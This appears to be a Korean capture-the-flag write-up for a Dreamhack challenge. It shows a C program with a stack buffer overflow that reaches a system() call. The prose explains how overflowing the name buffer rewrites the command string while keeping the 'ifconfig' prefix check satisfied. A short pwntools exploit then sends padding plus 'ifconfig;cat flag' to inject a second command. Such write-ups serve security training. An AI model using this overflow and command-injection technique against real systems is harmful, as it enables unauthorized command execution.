code
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main()
{
char cmd_ip[256] = "ifconfig"; // [rbp-0x110]
int dummy;
char center_name[24]; // [rbp-0x130]
init();
printf("Center name: ");
read(0, center_name, 100);
if( !strncmp(cmd_ip, "ifconfig", 8)) {
system(cmd_ip);
}
else {
printf("Something is wrong!\n");
}
exit(0);
}
system
함수를 통해 명령어를 실행하는 파일이다.
center_name
을 크기에 비해 크게 받기 때문에 buffer overflow가 예상된다.
- 하지만 canary같은 역할을 하는
cmd_ip
의 'ifconfig'때문에 이를 우회하고 cat flag
를 실행해야 한다.
- 한줄에 두 개 이상의 명령어를 실행하고 싶으면
;
를 이용하면 된다.
따라서 cmd_ip
를 ifconfig; cat flag
로 하면 ifconfig
와 cat flag
가 실행된다.
exploit
from pwn import *
p = remote('host3.dreamhack.games', 14581)
payload = b'A' * 0x20
payload += b'ifconfig;cat flag'
p.sendlineafter(b': ', payload)
p.interactive()